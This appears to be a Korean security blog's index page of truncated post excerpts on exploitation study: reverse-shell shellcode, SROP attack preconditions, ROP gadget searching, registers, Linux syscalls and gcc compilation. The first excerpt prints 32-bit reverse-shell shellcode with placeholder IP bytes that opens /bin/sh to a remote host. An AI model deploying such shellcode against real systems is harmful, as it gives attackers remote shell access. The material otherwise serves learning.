Reverse Shell123456789101112131415shellcode = "\x68\xIP1\xIP2\xIP3\xIP4\x5e\x66\x68\x12\x34\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53" "\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57" "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce" ShellCode 설명"\x68\xIP1\xIP2\xIP3\xIP4 -> IP 주소\x..
SROP(SigReturn Oriented Programming) : SigReturn 이라는 System Call을 이용한 기법SigReturn System Call : 시그널을 받은 프로세스가 커널 모드에서 유저 모드로 복귀할 때사용하는 System Call SROP 공격을 위한 선행 조건Overflow 취약점 : Overflow 를 통해 Memory를 조작하여 공격 진행EAX 레지스터 제어 : 뒤에 보겠지만 EAX 레지스터에 System Call의 Number가 들어감int 0x80 Gadget : pop-pop-ret 를 대신할 SROP 에서 필수 Gadget 실습 환경 : 32bit Ubuntu 14.04 LTS, Stack Gaurd Off예제 소스 char sh[]="/bin/sh";//예제..
$ objdump -d evil_wizard | grep pop -A 1----------------------------------------------------------------------$ objdump -d ./ropasaurusrex | egrep 'pop|ret'[...]80484b5: 5b pop ebx80484b6: 5e pop esi80484b7: 5f pop edi80484b8: 5d pop ebp80484b9: c3 ret --------------------------------- 이것 외에 tool 사용하는 방법? ---------------------------------------- peda- ROPEME- ROPgadget- ropper- etc.....
32bit와 64bit의 차이CPU 레지스터(Registers)Calling Conventions(함수 호출 규약) 1. CPU Registers CPU의 레지스터란 처리의 지연 시간을 줄이기 위해 사용하고 있는 CPU 내부의 임시 기억장치이다. 컴퓨터가 데이터를 처리할 때 중앙처리장치인 CPU를 통해 처리를 하는데 매 번 메모리에서 처리를 할 때 마다 데이터를 가져오게 되면 시간 낭비가 생기게 되어 지연이 생기게 된다. 그래서 CPU 내부에 임시 기억장치인 레지스터를 두어 메모리에서 데이터를 가져와 저장하고 필요할 때 마다 불러와서 처리를 한다. 임시 기억장치이기 때문에 이 레지스터 또한 용량을 가지고 있는데 이 용량을 기준으로 CPU를 n bit 레지스터로 나누게 된다. 따라서 32bit 레지스터와 ..
Linux에서는 프로세스가 운영체제 커널에 어떤 동작을 요청하기 위해 시스템을 호출하는 방법은 2가지가 있다.하나는 libc(라이브러리)의 포장함수를 통해 호출하는 방법, 또 하나는 시스템 콜을 통해 직접 실행하는 방법이다. 포장함수란 무엇인가? 포장함수는 이름 그대로 포장된 함수이다. 편의성 또는 기능을 보다 확장하기 위해 기본적으로 동작을 요청하기 위한 시스템 콜에 특정 기능을 추가하여 포장한 함수이다.운영체제 커널에 시스템 콜을 할 경우 어떤 동작 또는 서비스를 요청하여 실행할 수 있는데 이것을 위해 시스템 콜은 여러 개가 있으며 필요에 따라 쉽게 사용될 수 있도록 C 함수처럼 호출될 수 있도록 만들어져 있다.따라서 포장함수는 시스템 콜을 함수처럼 내부에서 호출할 수 있도록 그대로 가져다 사용하고 ..
첫 번째 예제 1. 쉘 스크립트 실행while :;do echo "echo Input file" >> /tmp/text.sh chmod 755 /tmp/test.sh sleep 1 ;done 2. 쉘 스크립트 작성tribal@tribal-virtual-machine:~/debug/shell$ vim exam.sh#!/bin/bash while truedo echo "echo Input file" >> /tmp/text.sh chmod 755 /tmp/test.sh sleep 1done 두 번째 예제 출처 : http://blog.naver.com/PostView.nhn?blogId=bestheroz&logNo=66975657&categoryNo=4&viewDate=¤tPage=1&listtyp..
GCC(GNU Compiler Collection) : GNU 컴파일러 묶음gcc(GNU C Compiler) : GNU C 컴파일러 gcc의 장점 : 여러 옵션과 기능이 풍부, 수 많은 CPU 아키텍처를 지원 gcc는 실제 컴파일 과정을 담당하지 않고 전처리기와 C 컴파일러, 어셈블러, 링커를 각각 호출하는 역할을 수행하는 컴파일러 드라이버이다.gcc 컴파일 과정 : 전처리기 -> 컴파일러 -> 어셈블러 -> 링커 - 전처리기는 프로그램이 돌아가는 과정을 가져오는 단계(헤더 파일 합치고 #ifdef같은거 정리) - 컴파일러는 프로그램을 만들 준비를 함(어휘, 구문, 의미 분석 및 중간언어 생성, 최적화) 즉, 소스코드 확인(잘못된 점이나 소스 코드 효율성 등) - 어셈블러는 어셈블리어로 변환하기 위한 ..